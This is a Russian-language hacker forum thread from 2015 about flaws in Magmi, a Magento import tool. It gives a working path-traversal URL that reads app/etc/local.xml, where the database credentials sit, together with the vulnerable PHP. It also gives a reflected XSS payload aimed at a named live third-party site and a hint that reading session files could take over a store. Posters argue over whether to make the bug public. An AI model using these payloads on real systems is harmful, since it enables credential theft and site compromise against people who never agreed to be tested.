Локальня читалка Magento

Discussion in 'Веб-уязвимости' started by winstrool, 17 Feb 2015.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Локальня читалка Magento:
    http://localhost/magmi/web/download_file.php?file=../../app/etc/local.xml

    Пример уязвимых урлов:
    Уязвимый код:
    PHP:
    $file=$_REQUEST["file"];
    $f=@fopen($file,"r");
    $err=error_get_last();
    if(
    $f!==false)
    {
    @
    fclose($f);
    }
    if(
    $err==null)
    {
        
    // Extract the type of file which will be sent to the browser as a header
    $type filetype($file);
     
    // Get a date and timestamp
    $today date("F j, Y, g:i a");
    $time time();
     
    // Send file headers
    header("Content-type: $type");
    header("Content-Disposition: attachment;filename=".basename($file));
    header("Content-Transfer-Encoding: binary");
    header('Pragma: no-cache');
    header('Expires: 0');
    // Send the file contents.
    set_time_limit(0);
    readfile($file);
    }
    else
    {
        
    print_r($err);
    }
    P.S: В гугле по этой баге ничего не нашел.

    P.S:
    Обнаружил случайно в пакете с обновлением фикса баги
    _http://www.exploit-db.com/exploits/35052/
    сам фикс с багой, читалкой на гитхабе
    https://github.com/dweeves/magmi-git Magento CE 1.8.x & 1.9.x
     
    _________________________
    #1 winstrool, 17 Feb 2015
    Last edited: 17 Feb 2015
    Filipp and Strilo4ka like this.
    1. Strilo4ka

      Strilo4ka

      Joined:
      5 Apr 2009
      Messages:
      709
      Likes Received:
      729
      Reputations:
      948
      Хм, Magento на FreeBSD, возможно, можно сразу скомпроментировать, так как при чтении директории(это тоже файл!) можно получить список файлов. Сессия по умолчанию пишется в файловую си-му в install-dir/var/session обычно, в БД редко(в Wizard установщике по дефолту файловая си-ма :))
       
      #2 Strilo4ka, 18 May 2015
      Last edited: 18 May 2015
      1. winstrool

        winstrool ~~*MasterBlind*~~

        Joined:
        6 Mar 2007
        Messages:
        1,414
        Likes Received:
        911
        Reputations:
        863
        Может пора спустить в паблик?
         
        _________________________
        1. BigBear

          BigBear Escrow Service Staff Member Гарант - Escrow Service

          Joined:
          4 Dec 2008
          Messages:
          1,801
          Likes Received:
          920
          Reputations:
          862
          Не стоит
           
          _________________________
          1. Rebz

            Rebz Banned

            Joined:
            8 Nov 2004
            Messages:
            4,052
            Likes Received:
            1,534
            Reputations:
            1,128
            В целом, стоит - не стоит, решать автору :)
             
            1. winstrool

              winstrool ~~*MasterBlind*~~

              Joined:
              6 Mar 2007
              Messages:
              1,414
              Likes Received:
              911
              Reputations:
              863
              спускай, а на гитхабе сделаем ссылку на пост)) пускай фиксят, бага все равно мало полезная...

              P.S:Пасивная XSS
              http://www.lowellcraft.com/magmi/web/ajax_gettime.php
              POST:prefix=<script>alert('xss')</script>

              magmi/web/ajax_gettime.php
              PHP:
              <?php
              echo $_REQUEST["prefix"] . ":" strftime("%c");
              ?>
              При GET запросе на примерной площадке сробатывает мод секьюрети
               
              _________________________
              #6 winstrool, 7 Sep 2015
              Last edited: 7 Sep 2015
              1. winstrool

                winstrool ~~*MasterBlind*~~

                Joined:
                6 Mar 2007
                Messages:
                1,414
                Likes Received:
                911
                Reputations:
                863
                ППЦ(((( https://www.trustwave.com/Resources...mmerce-platform-Magento-targeted-in-the-wild/ - себе багу присвоили, разместили статью от 13.10.2015
                 
                _________________________
                1. ZodiaX

                  ZodiaX Reservists Of Antichat

                  Joined:
                  7 May 2009
                  Messages:
                  533
                  Likes Received:
                  308
                  Reputations:
                  51
                  Оперативно они...
                  хм, похожая бага тоже от февраля https://packetstormsecurity.com/files/130250/magmi-lfixss.txt
                   
                  1. winstrool

                    winstrool ~~*MasterBlind*~~

                    Joined:
                    6 Mar 2007
                    Messages:
                    1,414
                    Likes Received:
                    911
                    Reputations:
                    863
                    Да, только там при правильном подходе идет выполнения php кода, а тут просто читалка
                     
                    _________________________
                    ZodiaX likes this.